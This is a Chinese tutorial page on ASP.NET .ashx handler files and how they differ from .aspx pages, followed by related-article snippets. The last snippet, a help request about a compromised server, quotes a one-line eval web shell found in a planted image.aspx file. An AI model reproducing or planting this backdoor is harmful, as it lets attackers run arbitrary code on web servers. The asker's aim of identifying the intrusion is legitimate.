ashx介绍以及ashx文件与aspx文件之间的区别

 这篇文章主要介绍了ashx以及ashx文件与aspx文件之间的区别。需要的朋友可以过来参考下,希望对大家有所帮助

ashx是什么文件?
 
.ashx 文件用于写web handler的。.ashx文件与.aspx文件类似,可以通过它来调用HttpHandler类,它免去了普通.aspx页面的控件解析以及页面处理的过程。其实就是带HTML和C#的混合文件。 
 
.ashx文件适合产生供浏览器处理的、不需要回发处理的数据格式,例如用于生成动态图片、动态文本等内容。 
 
ashx文件是.net 2.0新加的文件类型(其实在.net 1.0下已经可用,但是没有公开提供).
 
ashx文件和aspx文件有什么不同? 我们先新建一个ashx文件看看:
 
代码示例:
当然你完全可以用.aspx 的文件后缀。使用.ashx 可以让你专注于编程而不用管相关的WEB技术。.ashx必须包含IsReusable. 如下例所示 
 
 代码如下:
  <% @ webhandler language="C#" class="AverageHandler" %> 
 
  using System; 
 
  using System.Web; 
 
  public class AverageHandler : IHttpHandler 
 
  { 
 
  public bool IsReusable 
 
  { get { return true; } } 
 
  public void ProcessRequest(HttpContext ctx) 
 
  { 
 
  ctx.Response.Write("hello"); 
 
  } 
 
  } 
 
 
.ashx比.aspx的好处在于不用多一个html
 
看,比aspx简洁多了吧.只有一个文件,没有后台cs文件(基于代码安全考虑,后边我们会自己添加这个文件).ashx对比aspx文件,就好像 少了cs文件.其实这就是ashx和aspx不同的地方,因为aspx要将前后台显示和处理逻辑分开,所以就弄成了两个文件,其实,在最终编译的时 候,aspx和cs还是会编译到同一个类中去.这中间就要设计html的一些逻辑处理.而ashx不同,它只是简单的对web http请求的直接返回你想要返回的结果.比aspx少处理了html的过程.理论上,比aspx要快.
 
看看.net config文件中对两个文件类型请求的配置吧
 
<add path="*.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" validate="True" />
<add path="*.ashx" verb="*" type="System.Web.UI.SimpleHandlerFactory" validate="True" />
 
可以看到两个文件处理的类不一样(ashx处理的类叫SimpleHandleFactory,既然叫Simple,应该处理过程也比较 Simple.响应速度也应该快点吧:)
 
只要具体继承了IHttpHandler如何处理的问题,我这里找到一篇早期的,介绍.net 2.0编译模型的问题.比较深奥,要慢慢鼓捣一下:(台湾朋友写的Pdf文件,上传不了,在些处略。)
 
鼓捣完了你就大概明白了ashx不过.net里面自定义好的一个请求格式,ashx文件类的文件的处理过程要比aspx要简单得多.

时间: 2024-12-02 09:59:29

ashx介绍以及ashx文件与aspx文件之间的区别的相关文章

ashx介绍以及ashx文件与aspx文件之间的区别_实用技巧

ashx是什么文件? .ashx 文件用于写web handler的..ashx文件与.aspx文件类似,可以通过它来调用HttpHandler类,它免去了普通.aspx页面的控件解析以及页面处理的过程.其实就是带HTML和C#的混合文件. .ashx文件适合产生供浏览器处理的.不需要回发处理的数据格式,例如用于生成动态图片.动态文本等内容. ashx文件是.net 2.0新加的文件类型(其实在.net 1.0下已经可用,但是没有公开提供). ashx文件和aspx文件有什么不同? 我们先新建一

【求助】从 html 中上传文件到 aspx 文件中,如何实现文件的捕获与存储?

问题描述 做程序的过程中,使用Ajax的思路来实现各种客户端与服务器端的交互.实际做的时候,通过iframe中form表单的动态修改于提交实现的.但是,如果是上传文件,必须从服务器端截获数据并且保存在服务器端.这个功能却一直实现不了.可以创建一个aspx的form,从而实现文件的上传和使用PostedFile对象来上传文件.但是,Form1.fileInput.value=''的设置方式,总是出错,所以,不能够通过脚本动态地设定上传文件的属性值.请问,有什么方法,在ASP.Net中捕获HTML页

把aspx文件编译成DLL文件

编译 前言 Asp.net不是asp的简单升级,而是微软.Net计划中的一个重要组成部分,它依托.Net的多语言与强大的类库支持,引进了服务端HTML控件与WEB控件,自动处理控件的客户端与服务端的 交互,为开发人员提供了类似Windows下窗口编程的界面,为开发大型网络应用程序功能提供了良好的编程接口,也能够极大地提高开发人员的工作效率. 然而,"一次转换,两次编译"过程使得aspx文件在首次执行(或更新后首次运行)时显得略有不足,特别是在拥有大量aspx及codebehind的代码

服务器-更新ASP.NET网站时:未预编译文件“XXXX.ASPX”,因此不能请求该文件

问题描述 更新ASP.NET网站时:未预编译文件"XXXX.ASPX",因此不能请求该文件 原网站是把.CS文件预编译成dll,和.aspx文件等预编译成 .compiled文件+一个空的aspx页面(这是个61B的空文件,打开就一句话"这是预编译工具生成的标记文件,不应被删除!"). 好了,介绍好这些后.我源码更新了其中某些页面,包括一些CS文件,用同样的放是编译,挑出了我改动的7个页面的.compiled文件,以及其对应的7个dll.如何对应的呢,是打开.com

aspx是什么格式 ASPX文件怎么打开_基础应用

通常这种网页有一个显著的特诊就是页面URL地址末尾是.aspx结尾的,而不是大家常见到的.html结尾(但也不一定符合这个规律).那么ASPX文件怎么打开呢? 很简单,只要是网页的源文件,都可以使用浏览器打开(IE.chrome.火狐等等几乎所有电脑上可以用来浏览网页的浏览器),由于ASPX是动态文件,因此只能在服务器上才能正常浏览,如果您把ASPX文件直接用鼠标点中然后拖入浏览器窗口,这样只能用于打开查看ASPX文件的代码,而看到源代码显示出来的效果,更不能对其代码进行编辑.如果您需要打开并编

如何在MVC 的视图 中写一条语句,请求指定目录的aspx文件?

问题描述 如何在MVC的视图中写一条语句,请求指定目录的aspx文件,并传递一个参数值.我的一个MVC程序,控制器已经查询数据库,返回一个视图,我如何能把视图中得到数据作为一个参数请求另一个ASPX页面(那个aspx页面有有个播放器,我要把播放视频的地址传递过去,打开一个页面播放)?

写了一个基础的.aspx文件,运行出错

问题描述 我用记事本写的一个.aspx文件:<%@PageLanguage="C#"%><%Response.Write("我的第一个ASP.NET程序");response.write"<script>document.write('<tr><td>'"&year(now())&"'年'"&month(now())&"'月'&qu

flashfxp上传aspx文件之后,网页不显示,只显示代码

问题描述 自己写了一个简单的网站,放在一个PM文件夹里,然后用FlashFXP把这个文件夹上传了,里边有aspx.cs,css文件,webconfig文件等,就是用VS2010建这个网站时整个都上传了,可是,当在浏览器里输入网址时,浏览器只显示的是网页代码,并没有任何效果.请教各位了,希望能解决问题.谢谢~~小白一枚啊 解决方案 解决方案二:服务器iis没设置好.解决方案三:我在本地运行调试的时候是正常的,现在遇到的就是用FlashFXP上传之后,用网址访问时,不能显示效果,只显示代码--解决方

sql注入-服务器被攻击,多了一个image.aspx文件

问题描述 服务器被攻击,多了一个image.aspx文件 我的网站服务器莫名其妙的多了一个image.aspx文件,文件内容是<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>,请问我的服务器是不是陪攻击或注入木马了啊!如果是的话,我的服务器要如何配置才能防止这种木马 解决方案 有可能,设置是服务器防火墙,控制用户权限,安装系统安全补丁,减少